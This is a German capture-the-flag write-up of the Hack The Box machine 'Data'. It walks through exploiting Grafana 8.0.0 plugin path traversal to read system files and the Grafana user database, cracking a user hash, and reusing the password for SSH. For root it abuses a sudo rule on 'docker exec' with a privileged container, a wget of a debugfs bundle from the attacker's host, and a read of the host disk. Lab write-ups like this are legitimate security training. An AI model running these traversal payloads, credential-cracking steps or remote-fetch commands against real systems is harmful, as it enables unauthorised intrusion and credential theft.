← Zurück zu Machines

HTB · published

Data

HTB Vuln-Track Writeup zu Data: Grafana Path Traversal, Credential Recovery, SSH-Foothold und Docker/debugfs Privilege Escalation.

HTBMachineWriteupVulnlab MachinesLinuxGrafanaLFIDockerPrivilege Escalation

Metadaten


  • Name: Data
  • IP Address: 10.129.18.176
  • Plattform: Linux
  • Kategorie: Web / Grafana / Credential Recovery / Docker
  • Schwierigkeit: Unknown
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Die Maschine stellt SSH und Grafana bereit. Eine verwundbare Grafana-Version erlaubt Local File Read ueber Plugin Path Traversal. Dadurch wird die Grafana-Datenbank ausgelesen, ein Benutzer-Hash geknackt und das Passwort fuer SSH wiederverwendet. Root-Zugriff entsteht durch eine unsichere sudo-Regel fuer docker exec, die privilegierte Container-Ausfuehrung und Zugriff auf Host-Blockdevices erlaubt.

Reconnaissance/ Enumeration

initscan:

ping -c 2 10.129.18.176
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.176

Offene Ports:

22/tcp   open  ssh
3000/tcp open  http

servicescan:

nmap -sC -sV -O -p22,3000 -oA scans/nmap_services 10.129.18.176

Relevante Ergebnisse:

22/tcp   OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
3000/tcp Grafana http
http-title: Grafana
Requested resource was /login

Die Grafana-Loginseite offenbarte die Version:

Grafana v8.0.0 (41f0542c1e)

robots.txt war vorhanden und blockierte /:

User-agent: *
Disallow: /

Exploitation (Foothold)

Grafana v8.0.0 wurde auf Plugin Path Traversal getestet. Mit curl --path-as-is liess sich /etc/passwd aus dem Grafana-Container lesen:

curl --path-as-is \
  'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'

Relevante Benutzer im Container:

root:x:0:0:root:/root:/bin/ash
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Der Container-Hostname war:

e6ff5b1cbc85

Danach wurde die Grafana-SQLite-Datenbank ueber dieselbe LFI gelesen:

curl --path-as-is --max-time 90 -s \
  'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' \
  -o loot/grafana.db

Benutzerextraktion:

sqlite3 -header -column loot/grafana.db \
  "select id, login, email, name, is_admin, password, salt from user;"

Interessante Accounts:

admin | admin@localhost | is_admin=1
boris | boris@data.vl  | is_admin=0

Der Grafana-Hash von boris wurde offline geknackt:

python3 privesc/crack_grafana_hash.py \
  LCBhdtJWjl \
  dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 \
  /usr/share/wordlists/rockyou.txt \
  -j 8

Ergebnis:

boris:beautiful1

Die Anmeldung bei Grafana bestaetigte die Credentials:

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"user":"boris","password":"beautiful1"}' \
  http://10.129.18.176:3000/login

Lateral Movement / User Escalation

Das Grafana-Passwort wurde erfolgreich fuer SSH wiederverwendet:

ssh boris@10.129.18.176

Kontext:

boris
uid=1001(boris) gid=1001(boris) groups=1001(boris)
hostname: data

Die User-Flag lag in /home/boris/user.txt.

Privilege Escalation (Root / Domain)

sudo -l zeigte eine gefaehrliche NOPASSWD-Regel:

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

Der bekannte Grafana-Container konnte mit Optionen ausgefuehrt werden. Dadurch war ein privilegierter docker exec als UID 0 moeglich:

sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 id

Kontext:

uid=0(root) gid=0(root) groups=0(root),...,6(disk),...

Im privilegierten Container waren Host-Blockdevices sichtbar:

sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c \
  'ls -la /dev | grep sda; fdisk -l /dev/sda'

Relevant:

brw-rw---- 1 root disk 8, 0 /dev/sda
brw-rw---- 1 root disk 8, 1 /dev/sda1
/dev/sda1 Linux 5120M

Ein direktes Mounten schlug fehl. Stattdessen wurde ein Alpine-debugfs-Bundle in den Container geladen und die Root-Flag direkt aus dem Host-Dateisystem auf /dev/sda1 gelesen:

sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c '
cd /tmp &&
wget -O debugfs_bundle.tar.gz http://10.10.15.109:8003/debugfs_bundle.tar.gz &&
tar -xzf debugfs_bundle.tar.gz &&
LD_LIBRARY_PATH=/tmp/lib /tmp/usr/sbin/debugfs -R "cat /root/root.txt" /dev/sda1
'

Post-Exploitation

  • User Flag: 7510d[REDACTED-USER-FLAG]4128
  • Root Flag: 3992b[REDACTED-ROOT-FLAG]0072
  • Screenshots: keine erforderlich
  • Wichtige Dateien:
    • loot/grafana.db
    • loot/grafana_users.txt
    • loot/user_flag.txt
    • loot/root_flag.txt
    • privesc/crack_grafana_hash.py
    • privesc/debugfs_bundle.tar.gz
  • Relevante Logs oder Proofs:
    • scans/nmap_services.nmap
    • scans/ferox_grafana_3000.txt
    • web/grafana_lfi_etc_passwd.txt
    • web/grafana_login_boris.txt
    • reports/final_walkthrough.md

Lessons Learned

  • Grafana-Versionen auf Loginseiten sind direkt verwertbare Recon-Daten.
  • Bei Grafana-LFI ist grafana.db ein besonders wertvolles Ziel, weil dort Benutzer-Hashes und weitere Secrets liegen koennen.
  • Wiederverwendete Applikationspasswoerter koennen sofort zu SSH-Zugriff fuehren.
  • Eine scheinbar enge sudo-Regel wie /snap/bin/docker exec * bleibt kritisch, wenn Docker-Optionen frei kontrollierbar sind.
  • Privilegierte Container-Kontexte koennen Host-Blockdevices sichtbar machen; debugfs ist dann ein pragmatischer Weg, einzelne Dateien ohne Mount zu lesen.

Notizen

Nuetzliche Commands:

nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.176
nmap -sC -sV -O -p22,3000 -oA scans/nmap_services 10.129.18.176
curl --path-as-is 'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
curl --path-as-is -s 'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o loot/grafana.db
sqlite3 -header -column loot/grafana.db "select id, login, email, name, is_admin, password, salt from user;"
python3 privesc/crack_grafana_hash.py LCBhdtJWjl dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 /usr/share/wordlists/rockyou.txt -j 8
ssh boris@10.129.18.176
sudo -l
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 id
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c 'ls -la /dev | grep sda; fdisk -l /dev/sda'
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c 'cd /tmp && wget -O debugfs_bundle.tar.gz http://10.10.15.109:8003/debugfs_bundle.tar.gz && tar -xzf debugfs_bundle.tar.gz && LD_LIBRARY_PATH=/tmp/lib /tmp/usr/sbin/debugfs -R "cat /root/root.txt" /dev/sda1'